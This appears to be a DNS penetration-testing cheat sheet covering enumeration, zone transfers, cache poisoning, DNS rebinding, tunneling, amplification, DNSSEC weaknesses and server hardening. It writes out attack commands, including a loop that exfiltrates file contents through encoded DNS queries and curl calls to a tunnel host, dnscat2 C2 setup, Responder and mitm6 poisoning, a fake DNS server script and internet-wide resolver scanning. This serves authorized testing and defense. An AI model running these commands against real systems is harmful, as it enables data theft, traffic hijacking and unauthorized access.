Skip to content

DNS Pentesting

Target: DNS infrastructure, records, zone transfers, reconnaissance, poisoning, amplification attacks, and DNSSEC validation


Table of Contents

  1. DNS Fundamentals
  2. Reconnaissance & Enumeration
  3. Zone Transfer Attacks
  4. DNS Subdomain Enumeration
  5. DNS Cache Poisoning
  6. DNS Tunneling
  7. DNS Amplification Attacks
  8. DNSSEC Security
  9. Dynamic DNS Attacks
  10. Common Misconfigurations
  11. Tools Reference
  12. Defensive Recommendations

DNS Fundamentals

Record Types

Record Purpose Security Note
A IPv4 address mapping Most common target
AAAA IPv6 address mapping Often overlooked
CNAME Canonical name/alias Chaining vulnerabilities
MX Mail exchange servers Email infrastructure targeting
NS Name server delegation Zone transfer targets
SOA Start of authority Zone configuration
PTR Reverse DNS lookup Infrastructure mapping
TXT Text records SPF/DKIM/DMARC, secrets leak
SRV Service location AD/LDAP discovery
CAA Certificate authority authorization SSL/TLS control
DNSKEY DNSSEC public key Cryptographic validation
DS Delegation signer Parent zone trust
RRSIG DNSSEC signature Record authenticity

DNS Resolution Flow

Client → Recursive Resolver → Root Server → TLD Server → Authoritative Server

Common Ports

Port Protocol Usage
53/udp DNS Standard queries
53/tcp DNS Zone transfers, large responses
853/tcp DNS-over-TLS Encrypted DNS
443/tcp DNS-over-HTTPS Encrypted DNS (DoH)

Reconnaissance & Enumeration

Basic DNS Queries

# A record lookup
dig A example.com
dig +short A example.com

# Multiple record types
dig ANY example.com                    # Rarely works anymore (CVE-2015-8000)
dig A + AAAA + MX + NS + TXT example.com

# Reverse DNS lookup
dig -x 192.168.1.1
dig PTR 1.1.168.192.in-addr.arpa

# Query specific nameserver
dig @ns1.example.com example.com ANY

# Trace resolution path
dig +trace example.com

# Full verbose output
dig +nocmd +multiline +answer example.com

NSLookup Commands

# Interactive mode
nslookup
> server 8.8.8.8
> set type=MX
> example.com
> set type=NS
> example.com
> exit

# Non-interactive
nslookup -type=MX example.com
nslookup -type=NS example.com
nslookup -type=TXT example.com

# Debug mode
nslookup -debug example.com

Host Command

# Simple lookups
host example.com
host -t A example.com
host -t AAAA example.com
host -t MX example.com
host -t NS example.com
host -t TXT example.com
host -t SOA example.com
host -t CNAME www.example.com

# Reverse lookup
host 192.168.1.1

# Zone transfer attempt
host -l example.com ns1.example.com

Mass DNS Resolution

# Resolve list of domains
for domain in $(cat domains.txt); do
    dig +short A $domain
done

# Parallel resolution with xargs
cat domains.txt | xargs -P 10 -I {} dig +short A {}

# MassDNS (fast resolution)
massdns -r /opt/massdns/lists/resolvers.txt -t A -o S domains.txt

# ShuffleDNS (with wordlist)
shuffledns -d example.com -w /usr/share/wordlists/dns/subdomains.txt -r resolvers.txt

Zone Transfer Attacks

Testing for AXFR

# Attempt zone transfer with dig
dig @ns1.example.com example.com AXFR

# Alternative syntax
dig AXFR example.com @ns1.example.com

# With specific port
dig @ns1.example.com -p 53 example.com AXFR

# Host command
host -l example.com ns1.example.com
host -t axfr example.com ns1.example.com

# Nmap NSE script
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=example.com -p 53 ns1.example.com

# fierce tool
fierce --domain example.com --dns ns1.example.com

# dnsrecon
dnsrecon -d example.com -t axfr

# dnsenum
dnsenum example.com

Automated Zone Transfer Discovery

# Find nameservers first, then try AXFR
for ns in $(dig +short NS example.com); do
    echo "[*] Trying AXFR from: $ns"
    dig @$ns example.com AXFR +short
done

# Check all TLD nameservers
dnsrecon -d example.com -D /usr/share/wordlists/dns/subdomains.txt -t std,brt

Zone Transfer Indicators

# If zone transfer succeeds:
# - Complete DNS record dump
# - Internal IP addresses exposed
# - Development/staging domains revealed
# - Infrastructure mapping

# Signs of failed AXFR:
# - "Transfer failed" message
# - "Query refused" response
# - Empty response

DNS Subdomain Enumeration

Wordlist-Based Enumeration

# dnsenum with wordlist
dnsenum -f /usr/share/wordlists/dns/subdomains.txt example.com

# fierce with wordlist
fierce --domain example.com --wordlist /usr/share/wordlists/dns/subdomains.txt

# dnsrecon brute force
dnsrecon -d example.com -D /usr/share/wordlists/dns/subdomains.txt -t brt

# gobuster dns
gobuster dns -d example.com -w /usr/share/wordlists/dns/subdomains.txt -t 50

# assetfinder (passive)
assetfinder --subs-only example.com

# amass (active + passive)
amass enum -d example.com
amass enum -active -d example.com -brute -w /usr/share/wordlists/dns/subdomains.txt

# subfinder (passive)
subfinder -d example.com -all

# knock (with zone transfer check)
knockpy example.com

Permutation/Alteration Scanning

# dnsgen - generate permutations
cat subdomains.txt | dnsgen -w /usr/share/wordlists/dns/words.txt - | massdns -r resolvers.txt -t A -o J

# altdns
cat subdomains.txt | altdns -i - -o data_output -w /usr/share/wordlists/dns/words.txt -r -s results_output.txt

# goaltdns
goaltdns -h

Certificate Transparency Logs

# crt.sh (web interface: https://crt.sh)
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | sort -u

# certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=example.com&include_subdomains=true&expand=dns_names" | jq '.[].dns_names[]'

# subfinder (includes CT logs)
subfinder -d example.com -sources crtsh,certspotter

# amass CT enumeration
amass enum -d example.com -src -ip

Recursive Subdomain Discovery

# One-Two punch: find subs, then permute
assetfinder --subs-only example.com | tee subs.txt
cat subs.txt | dnsgen - | tee permutations.txt
cat subs.txt permutations.txt | sort -u | massdns -r resolvers.txt -t A -o S | grep -v "NXDOMAIN"

# Full pipeline with httprobe
assetfinder example.com | massdns -r /opt/massdns/lists/resolvers.txt -t A -o J | jq -r '.data.name' | sort -u | httprobe

DNS Cache Poisoning

Kaminsky Attack (Historical Context)

# Classic attack required:
# 1. Predictable TXID (16-bit entropy)
# 2. Source port prediction
# 3. Birthday attack for collision

# Modern mitigations:
# - Randomized source ports
# - 0x20 bit encoding
# - DNSSEC validation

Snooping Cache Contents

# Check if record is cached
dig @target-resolver example.com

# Timing analysis
dig +stats @target-resolver example.com
# Compare: cached vs non-cached response times

# Predictive subdomain attacks
# Attempt to poison specific subdomains

DNS Rebinding

# Malicious DNS server configuration
# Returns different IP on first vs subsequent queries

# Example dnsrebinder tool
git clone https://github.com/mandatoryprogrammer/dns-rebinding-toolkit

# Attack flow:
# 1. Victim visits attacker.com → gets attacker IP ( whitelist bypass )
# 2. TTL expires, victim requests again → gets internal IP ( 127.0.0.1, 192.168.x.x )
# 3. JavaScript can now access internal resources

Local DNS Cache Poisoning

# Responder (LLMNR, NBT-NS, MDNS poisoner)
sudo responder -I eth0 -wrfv

# Enable DNS poison mode
sudo responder -I eth0 --dns-poison -v

# MitM6 (IPv6 DNS hijacking)
sudo mitm6 -d example.com

# Fake DNS server
python3 -c "
from dnslib.server import DNSServer
from dnslib import DNSRecord, QTYPE, RR, A

def resolve(request, handler):
    reply = request.reply()
    qname = request.q.qname
    if 'target' in str(qname):
        reply.add_answer(RR(qname, QTYPE.A, rdata=A('192.168.1.100')))
    return reply

server = DNSServer(resolve, port=53, address='0.0.0.0')
server.start()
"

DNS Tunneling

Detection & Analysis

# Detect DNS tunneling patterns
# - Unusually long subdomain queries
# - High volume of DNS queries to single domain
# - TXT/NULL record abuse
# - Base32/Base64 encoded subdomains

# dnstool.py analysis
git clone https://github.com/davidcameron/dnstool
cat dns_logs.txt | python3 dnstool.py --analyze

# Count query lengths
cat dns_logs.txt | awk '{print length($1)}' | sort -n | uniq -c

# Detect encoded data in subdomains
grep -E '\.[a-z0-9]{30,}\.' dns_logs.txt

DNS Tunneling Tools (Red Team)

# iodine - IP over DNS
# Server
sudo iodined -f -c -P password 10.0.0.1 tunnel.example.com
# Client
sudo iodine -f -P password tunnel.example.com

# dnscat2
# Server
sudo ruby dnscat2.rb tunnel.example.com --secret password
# Client
./dnscat2 tunnel.example.com --secret password

# dns2tcp
# Server
dns2tcpd -f dns2tcpd.conf
# Client
dns2tcpc -z tunnel.example.com -l 8888 -r ssh 8.8.8.8

# DoH tunnel
git clone https://github.com/alex-sector/doh-proxy

DNS Exfiltration

# Basic data exfil via subdomains
while read line; do
    encoded=$(echo "$line" | base64 | tr '+/' '-_')
    dig +short $encoded.tunnel.example.com
done < data.txt

# Using curl with DNS
for chunk in $(split -b 57 data.txt); do
    encoded=$(base64 $chunk | tr '+/' '-_')
    curl -s "http://$encoded.tunnel.example.com"
done

# tcpdump capture
tcpdump -i eth0 port 53 -w dns_tunnel.pcap

DNS Amplification Attacks

Finding Amplifiable Servers

# ANY query amplification (mostly patched now)
dig +short @vulnerable.dns.com ANY example.com

# NS query amplification
dig +short @vulnerable.dns.com NS .

# TXT record amplification
dig +short @vulnerable.dns.com TXT example.com

# DNSSEC amplification (large keys)
dig +short @vulnerable.dns.com DNSKEY example.com
dig +short @vulnerable.dns.com ANY dnssec-signed.example.com

# Nmap amplification scan
nmap -Pn -sU -p 53 --script dns-recursion,dns-service-discovery <target>

Calculating Amplification Factor

# Request size vs Response size
# Tools: dnsdiag (dnsping, dnsperf, dnstraceroute)

# dnsping measurement
dnsping -s 8.8.8.8 -t ANY google.com

# dnsperf load testing
dnsperf -s target.dns -d queryfile.txt -c 100 -Q 1000

# Check if open resolver
dig @target.dns example.com +short
# If responds to any query, it's an open resolver (amplification risk)

Open Resolver Scanning

# Mass scan for open resolvers
masscan -p53 0.0.0.0/0 --rate 10000 | tee open_resolvers.txt

# Verify with dig
for ip in $(cat open_resolvers.txt); do
    dig @$ip google.com +short +time=2
done

# Nmap resolver detection
nmap -sU -p 53 --script dns-recursion -iL targets.txt

DNSSEC Security

DNSSEC Validation Testing

# Check DNSSEC enabled
dig +dnssec example.com DNSKEY
dig +dnssec example.com DS

# Check chain of trust
dig +trace +dnssec example.com

# Delv (modern dig replacement with DNSSEC)
delv @8.8.8.8 example.com +root=example.com

# Verify signatures
dig +dnssec example.com | grep -E "(RRSIG|AD|RRSET)"

# DNSViz (online tool)
# https://dnsviz.net/
# Analyzes DNSSEC chain visually

DNSSEC Key Analysis

# Extract DNSKEY records
dig DNSKEY example.com +short

# Key algorithm detection
# 5 = RSA/SHA1 (deprecated)
# 7 = RSASHA1-NSEC3-SHA1
# 8 = RSA/SHA-256 (common)
# 10 = RSA/SHA-512
# 13 = ECDSA P-256 with SHA-256
# 14 = ECDSA P-384 with SHA-384
# 15 = Ed25519
# 16 = Ed448

# Check for algorithm rollover
dig DNSKEY example.com +short | awk '{print $3}' | sort -u

DNSSEC Attacks

# Zone walking (NSEC)
# NSEC records leak next domain name
ldns-walk @ns1.example.com example.com

# NSEC3 hashed zone walking
# nsec3walker - cracks NSEC3 hashes
nsec3walker example.com.signed

# Key size analysis
dig DNSKEY example.com +short | while read flags proto algo key; do
    echo "Algorithm: $algo, Key length: $(echo $key | wc -c)"
done

# Signature expiration check
dig +dnssec example.com SOA | grep RRSIG | awk '{print $5}'  # inception
# 6th field = expiration

Common DNSSEC Vulnerabilities

# Missing DS record in parent
dig DS example.com @parent-ns

# Broken trust chain
drill -TD example.com

# Algorithm downgrade
dig DNSKEY example.com +short | grep "^256"

# NSEC vs NSEC3 downgrade
dig NSEC example.com
dig NSEC3PARAM example.com

# Signature algorithm issues
# RSA/SHA1 (alg 5/7) = vulnerable to collision attacks

Dynamic DNS Attacks

DHCP-DNS Integration

# Dynamic updates testing
# Requires TSIG key or insecure configuration

# Check for update support
dig @dns.example.com example.com SOA +norecurse
# Look at MNAME field - primary master

# Attempt dynamic update
nsupdate << EOF
server dns.example.com
zone example.com
update add test.example.com 300 A 192.168.1.1
show
send
EOF

# With TSIG key
nsupdate -k key.private << EOF
server dns.example.com
zone example.com
update add test.example.com 300 A 192.168.1.1
send
EOF

DHCP DNS Hijacking

# rogue-dhcp (ISC DHCP)
sudo rogue-dhcp -i eth0

# Responder DHCP poison
sudo responder -I eth0 -dPv

# dhcpstarv (starvation + rogue)
sudo dhcpstarv -i eth0

# evil-dns (combined attack)
# Responds to DHCP with rogue DNS server

Common Misconfigurations

SPF/DKIM/DMARC Issues

# TXT record analysis
dig TXT example.com
dig TXT _dmarc.example.com
dig TXT default._domainkey.example.com

# SPF parsing
dig TXT example.com | grep "v=spf1"

# Common SPF issues:
# +all (allow all)
# ?all (neutral - ineffective)
# ~all (softfail - ineffective)
# Missing SPF entirely

# DMARC issues:
# p=none (monitoring only)
# No RUA/RUF (no reporting)
# Missing DMARC

# DKIM issues:
# Key too small (512-bit)
# Selector enumeration vulnerability

Wildcard Misconfigurations

# Detect wildcards
dig $(openssl rand -hex 12).example.com
# If resolves, wildcard is configured

# Bypass wildcards for enumeration
dnsrecon -d example.com -t brt --iw
knockpy example.com --wildcard

# Analyze wildcard responses
dig *.example.com
dig anything.example.com
# Compare IPs - if same, likely wildcard

DNS Delegation Issues

# Find orphan records
dig NS example.com
# Check each NS resolves correctly

# Glue record issues
dig +additional example.com NS
# Missing glue records cause resolution delays

# Lame delegation
dig @broken-ns.example.com example.com
# Returns referral instead of answer

# Cyclic dependencies
dig +trace example.com
# Watch for loops in resolution

Internal IP Disclosure

# Private IP in public DNS
dig internal.example.com
# Look for 10.x.x.x, 172.16-31.x.x, 192.168.x.x

# RFC1918 scanning via DNS
dig 10.0.0.1.example.com
dig 192.168.1.1.example.com

# Reverse DNS internal exposure
dig -x 10.0.0.1
# Check if internal PTR records leak info

Tools Reference

Reconnaissance Tools

Tool Purpose Command
dig Standard DNS queries dig A example.com
host Simple lookups host -t MX example.com
nslookup Windows/legacy nslookup -type=TXT example.com
fierce DNS enumeration fierce --domain example.com
dnsenum Multi-purpose DNS tool dnsenum example.com
dnsrecon DNS reconnaissance dnsrecon -d example.com -t std
massdns High-speed resolver massdns -r resolvers.txt domains.txt
subfinder Passive subdomain discovery subfinder -d example.com
assetfinder Subdomain discovery assetfinder --subs-only example.com
amass Comprehensive enumeration amass enum -d example.com
knockpy Zone transfer + brute knockpy example.com
gobuster Directory/DNS brute gobuster dns -d example.com -w subs.txt
shuffledns MassDNS wrapper shuffledns -d example.com -w wordlist.txt

Attack Tools

Tool Purpose Command
Responder LLMNR/NBT-NS/DNS poison responder -I eth0 -wrfv
mitm6 IPv6 DNS hijacking mitm6 -d example.com
iodine IP over DNS tunnel iodined -f 10.0.0.1 tunnel.example.com
dnscat2 C2 over DNS dnscat2.rb tunnel.example.com
dns2tcp TCP over DNS dns2tcpd -f dns2tcpd.conf
dnsteal DNS exfiltration python3 dnsteal.py 192.168.1.1
nsec3walker NSEC3 hash cracking nsec3walker zonefile

Analysis Tools

Tool Purpose Command
dnsping DNS latency testing dnsping -s 8.8.8.8 example.com
dnsperf Load testing dnsperf -s target -d queries.txt
delv DNSSEC validation delv @8.8.8.8 example.com
drill DNS debugging drill -TD example.com
ldns-walk NSEC zone walking ldns-walk @ns example.com
dnsviz DNSSEC visualization (web: dnsviz.net)
tcpdump DNS traffic capture tcpdump -i eth0 port 53 -w dns.pcap

Defensive Recommendations

Server Hardening

# Disable zone transfers (BIND)
# named.conf
zone "example.com" {
    type master;
    file "example.com.zone";
    allow-transfer { none; };
    allow-query { any; };
};

# Response Rate Limiting (RRL)
# named.conf
rate-limit {
    responses-per-second 20;
    errors-per-second 5;
    nxdomains-per-second 10;
    slip 2;
};

# Disable recursion for authoritative servers
recursion no;
allow-recursion { none; };

# Minimal responses
minimal-responses yes;

# DNSSEC signing
# Enable on all zones
dnssec-policy default;

Query Logging & Monitoring

# BIND query logging
logging {
    channel query_log {
        file "queries.log" versions 3 size 5m;
        severity debug 3;
        print-time yes;
    };
    category queries { query_log; };
};

# Detect tunneling patterns
# - Queries/min threshold
# - Unique subdomain ratio
# - TXT query volume
# - NXDOMAIN rate

# Suricata rules for DNS
echo 'alert udp any any -> any 53 (msg:"DNS Large Query"; content:>|00 1E|; offset:12; depth:2; sid:1000001; rev:1;)' > dns.rules

Infrastructure Best Practices

# Split DNS architecture
# Internal DNS servers don't recurse externally
# External authoritative servers are separate

# Use Anycast for resolvers
# Distributes load and mitigates DoS

# DNS-over-HTTPS/TLS deployment
# Prevents on-path attacks
# Cloudflare: 1.1.1.1 (DoH/DoT)
# Google: 8.8.8.8 (DoH/DoT)
# Quad9: 9.9.9.9 (DoH/DoT)

# Monitor for:
# - Unexpected zone transfers
# - High query volumes from single sources
# - Queries for non-existent domains (DGA detection)
# - Long subdomain queries (tunneling)
# - DNSSEC validation failures

Email Security (SPF/DKIM/DMARC)

# Recommended SPF
v=spf1 include:_spf.example.com include:spf.protection.outlook.com -all

# Recommended DKIM
# 2048-bit RSA keys minimum
# Rotate keys quarterly

# Recommended DMARC
v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com; pct=100; adkim=s; aspf=s

# Strict DMARC (after monitoring)
v=DMARC1; p=reject; rua=mailto:dmarc@example.com; pct=100; adkim=s; aspf=s

Quick Reference

Emergency DNS Investigation

# 1. Verify resolution chain
dig +trace +dnssec example.com

# 2. Check all authoritative servers
for ns in $(dig +short NS example.com); do
    echo "=== $ns ==="
    dig @$ns example.com SOA +norecurse
done

# 3. Zone transfer test
dig @ns1.example.com example.com AXFR

# 4. Check for poisoned cache
dig @resolver.example.com example.com +norecurse
dig @resolver.example.com example.com

# 5. DNSSEC validation
delv @resolver.example.com example.com

Common Commands Cheatsheet

# Basic lookups
dig example.com                    # A record
dig AAAA example.com               # IPv6
dig MX example.com                 # Mail servers
dig NS example.com                 # Name servers
dig TXT example.com                # Text records
dig SOA example.com                # Zone authority
dig CNAME www.example.com          # Canonical name
dig PTR 1.1.168.192.in-addr.arpa   # Reverse lookup

# Advanced
dig +short example.com             # Short output
dig +trace example.com             # Full resolution path
dig @ns1.example.com example.com   # Specific server
dig -x 192.168.1.1                 # Reverse lookup shorthand
dig +dnssec example.com            # With DNSSEC
dig +norecurse example.com         # No recursion flag

# Zone operations
dig @ns1.example.com example.com AXFR     # Zone transfer
dig @ns1.example.com example.com IXFR     # Incremental transfer
host -l example.com ns1.example.com       # Zone listing

# Batch operations
dig -f queryfile.txt             # File with multiple queries
cat domains.txt | xargs dig +short

Resources

Comments